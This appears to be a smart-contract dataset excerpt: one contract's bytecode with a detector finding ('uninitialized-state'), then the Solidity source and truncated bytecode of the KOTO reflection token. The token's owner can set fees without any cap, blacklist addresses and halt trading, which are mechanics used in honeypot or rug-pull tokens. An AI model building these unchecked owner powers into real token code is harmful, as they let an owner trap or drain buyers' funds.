2900480156110325780601f1061100757610100808354040283529160200191611032565b820191906000526020600020905b81548152906001019060200180831161101557829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561107757600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156110c457600080fd5b611115826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114dc90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111a8826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114f590919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006112ea82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114f590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008282111515156114ea57fe5b818303905092915050565b600080828401905083811015151561150957fe5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561154f57600080fd5b611564816007546114dc90919063ffffffff16565b6007819055506115bb816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114dc90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350505600a165627a7a72305820e54472bfed8d28eb65a46e3daacdb6734c756ebd41e2a47590695e156f9d22e60029 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}]}} | 1,932 |
0xebEc71af3c091C3C400b60F81d0D5642FE73DC69 | // SPDX-License-Identifier: UNLICENSED
/**
*follow the cyphertext to find the telegram*
key : CDEFGHIJKLMNOPQRSTUVWXYZAB
VJGVY KVVGT KUNKX GYKVJ VJGPG ZVENW GMQVQ COCVU WMCOK GVJHQ NNQYV JGVTC KNHQT VJGEN WGVQH KPFVJ GVGNGITCO
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Kotoamatsukami is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Kotoamatsukami";
string private constant _symbol = "KOTO";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 4;
//Sell Fee
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 4;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0xC7c2bE71EB98dE1287148E5a51D39A64C0CbB0c0);
address payable private _marketingAddress = payable(0xC7c2bE71EB98dE1287148E5a51D39A64C0CbB0c0);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 3000000 * 10**9; //3%
uint256 public _maxWalletSize = 3000000 * 10**9; //3%
uint256 public _swapTokensAtAmount = 400000 * 10**9; //.4%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610614578063dd62ed3e1461063d578063ea1644d51461067a578063f2fde38b146106a3576101cc565b8063a2a957bb1461055a578063a9059cbb14610583578063bfd79284146105c0578063c3c8cd80146105fd576101cc565b80638f70ccf7116100d15780638f70ccf7146104b25780638f9a55c0146104db57806395d89b411461050657806398a5c31514610531576101cc565b806374010ece146104335780637d1db4a51461045c5780638da5cb5b14610487576101cc565b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f81461039f5780636fc3eaec146103c857806370a08231146103df578063715018a61461041c576101cc565b8063313ce5671461032057806349bd5a5e1461034b5780636b99905314610376576101cc565b80631694505e116101a05780631694505e1461026257806318160ddd1461028d57806323b872dd146102b85780632fd689e3146102f5576101cc565b8062b8cf2a146101d157806306fdde03146101fa578063095ea7b314610225576101cc565b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f860048036038101906101f39190612ea5565b6106cc565b005b34801561020657600080fd5b5061020f6107f6565b60405161021c9190613302565b60405180910390f35b34801561023157600080fd5b5061024c60048036038101906102479190612e05565b610833565b60405161025991906132cc565b60405180910390f35b34801561026e57600080fd5b50610277610851565b60405161028491906132e7565b60405180910390f35b34801561029957600080fd5b506102a2610877565b6040516102af91906134e4565b60405180910390f35b3480156102c457600080fd5b506102df60048036038101906102da9190612db2565b610887565b6040516102ec91906132cc565b60405180910390f35b34801561030157600080fd5b5061030a610960565b60405161031791906134e4565b60405180910390f35b34801561032c57600080fd5b50610335610966565b6040516103429190613559565b60405180910390f35b34801561035757600080fd5b5061036061096f565b60405161036d91906132b1565b60405180910390f35b34801561038257600080fd5b5061039d60048036038101906103989190612d18565b610995565b005b3480156103ab57600080fd5b506103c660048036038101906103c19190612eee565b610a85565b005b3480156103d457600080fd5b506103dd610b37565b005b3480156103eb57600080fd5b5061040660048036038101906104019190612d18565b610c08565b60405161041391906134e4565b60405180910390f35b34801561042857600080fd5b50610431610c59565b005b34801561043f57600080fd5b5061045a60048036038101906104559190612f1b565b610dac565b005b34801561046857600080fd5b50610471610e4b565b60405161047e91906134e4565b60405180910390f35b34801561049357600080fd5b5061049c610e51565b6040516104a991906132b1565b60405180910390f35b3480156104be57600080fd5b506104d960048036038101906104d49190612eee565b610e7a565b005b3480156104e757600080fd5b506104f0610f2c565b6040516104fd91906134e4565b60405180910390f35b34801561051257600080fd5b5061051b610f32565b6040516105289190613302565b60405180910390f35b34801561053d57600080fd5b5061055860048036038101906105539190612f1b565b610f6f565b005b34801561056657600080fd5b50610581600480360381019061057c9190612f48565b61100e565b005b34801561058f57600080fd5b506105aa60048036038101906105a59190612e05565b6110c5565b6040516105b791906132cc565b60405180910390f35b3480156105cc57600080fd5b506105e760048036038101906105e29190612d18565b6110e3565b6040516105f491906132cc565b60405180910390f35b34801561060957600080fd5b50610612611103565b005b34801561062057600080fd5b5061063b60048036038101906106369190612e45565b6111dc565b005b34801561064957600080fd5b50610664600480360381019061065f9190612d72565b611316565b60405161067191906134e4565b60405180910390f35b34801561068657600080fd5b506106a1600480360381019061069c9190612f1b565b61139d565b005b3480156106af57600080fd5b506106ca60048036038101906106c59190612d18565b61143c565b005b6106d46115fe565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610761576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075890613444565b60405180910390fd5b60005b81518110156107f257600160106000848481518110610786576107856138d7565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806107ea90613830565b915050610764565b5050565b60606040518060400160405280600e81526020017f4b6f746f616d617473756b616d69000000000000000000000000000000000000815250905090565b60006108476108406115fe565b8484611606565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600067016345785d8a0000905090565b60006108948484846117d1565b610955846108a06115fe565b61095085604051806060016040528060288152602001613d8560289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109066115fe565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120569092919063ffffffff16565b611606565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61099d6115fe565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2190613444565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610a8d6115fe565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1190613444565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b786115fe565b73ffffffffffffffffffffffffffffffffffffffff161480610bee5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bd66115fe565b73ffffffffffffffffffffffffffffffffffffffff16145b610bf757600080fd5b6000479050610c05816120ba565b50565b6000610c52600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121b5565b9050919050565b610c616115fe565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce590613444565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610db46115fe565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3890613444565b60405180910390fd5b8060168190555050565b60165481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610e826115fe565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0690613444565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600481526020017f4b4f544f00000000000000000000000000000000000000000000000000000000815250905090565b610f776115fe565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611004576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ffb90613444565b60405180910390fd5b8060188190555050565b6110166115fe565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109a90613444565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b60006110d96110d26115fe565b84846117d1565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111446115fe565b73ffffffffffffffffffffffffffffffffffffffff1614806111ba5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111a26115fe565b73ffffffffffffffffffffffffffffffffffffffff16145b6111c357600080fd5b60006111ce30610c08565b90506111d981612223565b50565b6111e46115fe565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611271576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126890613444565b60405180910390fd5b60005b83839050811015611310578160056000868685818110611297576112966138d7565b5b90506020020160208101906112ac9190612d18565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061130890613830565b915050611274565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113a56115fe565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611432576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142990613444565b60405180910390fd5b8060178190555050565b6114446115fe565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114c890613444565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611541576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611538906133a4565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611676576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166d906134c4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116dd906133c4565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516117c491906134e4565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611841576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183890613484565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118a890613324565b60405180910390fd5b600081116118f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118eb90613464565b60405180910390fd5b6118fc610e51565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561196a575061193a610e51565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611d5557601560149054906101000a900460ff166119f95761198b610e51565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146119f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ef90613344565b60405180910390fd5b5b601654811115611a3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3590613384565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611ae25750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b18906133e4565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611bce5760175481611b8384610c08565b611b8d919061361a565b10611bcd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bc4906134a4565b60405180910390fd5b5b6000611bd930610c08565b9050600060185482101590506016548210611bf45760165491505b808015611c0c575060158054906101000a900460ff16155b8015611c665750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611c7e5750601560169054906101000a900460ff165b8015611cd45750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d2a5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611d5257611d3882612223565b60004790506000811115611d50576